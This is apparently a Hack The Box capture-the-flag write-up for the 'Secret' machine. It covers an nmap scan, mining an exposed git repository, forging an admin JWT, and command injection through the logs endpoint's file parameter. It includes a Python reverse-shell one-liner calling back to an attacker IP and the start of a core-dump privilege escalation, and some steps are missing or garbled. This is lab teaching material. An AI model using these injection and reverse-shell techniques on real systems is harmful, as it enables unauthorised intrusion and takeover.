# Nmap 7.91 scan initiated Sun Oct 31 00:15:29 2021 as: nmap -vvv -p 22,80,3000 -A -v -sC -sV -oN intial.nmap 10.10.11.120 Nmap scan report for secret.htb (10.10.11.120) Host is up, received syn-ack (0.23s latency). Scanned at 2021-10-31 00:15:31 EDT for 21s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcmGOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmrPbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k= | 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL9rRkuTBwrdKEa+8VrwUjloHdmUdDR87hBOczK1zpwrsV/lXE1L/bYvDMUDVD0jE/aqMhekqNfBimt8aX53O0= | 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINM1K8Yufj5FJnBjvDzcr+32BQ9R/2lS/Mu33ExJwsci 80/tcp open http syn-ack nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: DUMB Docs 3000/tcp open http syn-ack Node.js (Express middleware) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: DUMB Docs Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Oct 31 00:15:52 2021 -- 1 IP address (1 host up) scanned in 24.06 seconds
Manual Enumeration
Just Visting websites on ports 80,3000 both looked same. Just gazing through website 2 features looks intresting.
Live Demo
which redirets to /api endpoint
Nothing intresting for now so let’s move on to the seond feature.
Source Code
The website seeming gives out it source code on website just like any other open source projects.
So let’s download it and inspects for something good.
Looking at the directory listing of source code it looks like it a git repository.
It was all confirmed by ohmyzsh in my case.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
➜ local-web git:(master) ls -al total 116 drwxr-xr-x 8 kali kali 4096 Sep 3 01:57 . drwxr-xr-x 3 kali kali 4096 Oct 31 00:28 .. -rw-r--r-- 1 kali kali 72 Sep 3 01:59 .env drwxr-xr-x 8 kali kali 4096 Sep 8 14:33 .git -rw-r--r-- 1 kali kali 885 Sep 3 01:56 index.js drwxr-xr-x 2 kali kali 4096 Aug 13 00:42 model drwxr-xr-x 201 kali kali 4096 Aug 13 00:42 node_modules -rw-r--r-- 1 kali kali 491 Aug 13 00:42 package.json -rw-r--r-- 1 kali kali 69452 Aug 13 00:42 package-lock.json drwxr-xr-x 4 kali kali 4096 Sep 3 01:54 public drwxr-xr-x 2 kali kali 4096 Sep 3 02:32 routes drwxr-xr-x 4 kali kali 4096 Aug 13 00:42 src -rw-r--r-- 1 kali kali 651 Aug 13 00:42 validations.js
I used git extractor tools to extract everything from the git archives. Link to the GitTools I Used https://github.com/internetwache/GitTools
┌──(root💀kali)-[~/hackthebox/machine/secret] └─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"foo": "bar"}' Note: Unnecessary use of -X or --request, POST is already inferred. * Trying 10.10.11.120:80... * Connected to secret.htb (10.10.11.120) port 80 (#0) > POST /api/user/register HTTP/1.1 > Host: secret.htb > User-Agent: curl/7.74.0 > Accept: */* > Content-Type: application/json > Content-Length: 14 > * upload completely sent off: 14 out of 14 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 400 Bad Request < Server: nginx/1.18.0 (Ubuntu) < Date: Mon, 01 Nov 2021 13:35:31 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 18 < Connection: keep-alive < X-Powered-By: Express < ETag: W/"12-FCVaNPnXYf0hIGYsTUTYByRq5/U" < * Connection #0 to host secret.htb left intact "name" is required
looks like we have a valid endpoint so let’s see what data it is expecting us to send in order to register a user. Looks like it expects us to give name,email,password in order to register the user. Looks like this schema is also defined in validation.js
one thing that we know from above manual enumeration is that it used secret to sign JWT tokens so let’s hunt for it. Looking through all the commit I found token in the following commits.
┌──(root💀kali)-[~/hackthebox/machine/secret/dump] └─# curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY' "80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
Yeah so now let’s to get the rev shell.
from: revshells.com
1
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.20",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
// drop privs to limit file write setuid(getuid()); // Enable coredump generation prctl(PR_SET_DUMPABLE, 1); printf("Save results a file? [y/N]: "); res = getchar(); if (res == 121 || res == 89) { printf("Path: "); scanf("%99s", path); FILE *fp = fopen(path, "a"); if (fp != NULL) { fputs(summary, fp); fclose(fp); } else { printf("Could not open %s for writing\n", path); } }
return0; }
Looking at the source code the write functionality looks intresting but the problem is that we cannot write in privilleged mode and not the content of file so there is no possible way we can write something to high-privileged file or see the content of higher privileged file.
The catch over here is that what if we crash the code in between the execution of the code.
Most of the time if we crash the process in between the report is most of the time saved in /var/crash in linux distro.
Normally this won’t be possible but with this perm set prctl(PR_SET_DUMPABLE, 1); it could be possible. I am still not sure about what it does exactly but here is the man page for this function if you are intrested.
As far as I understand this determines whether core dumps are produced or not and by default it is always 1 so not sure why he manually did probably as a hint.
As it is set to 1 we can produce core dump so let’s test this thoery practically.
For this we need 2 shells so first make sure you have 2 shells.
1 -> To run the count binary 2 -> To create crash
Shell 1
1 2 3 4
dasith@secret:/$ cd /opt dasith@secret:/opt$ ./count -p /root/root.txt y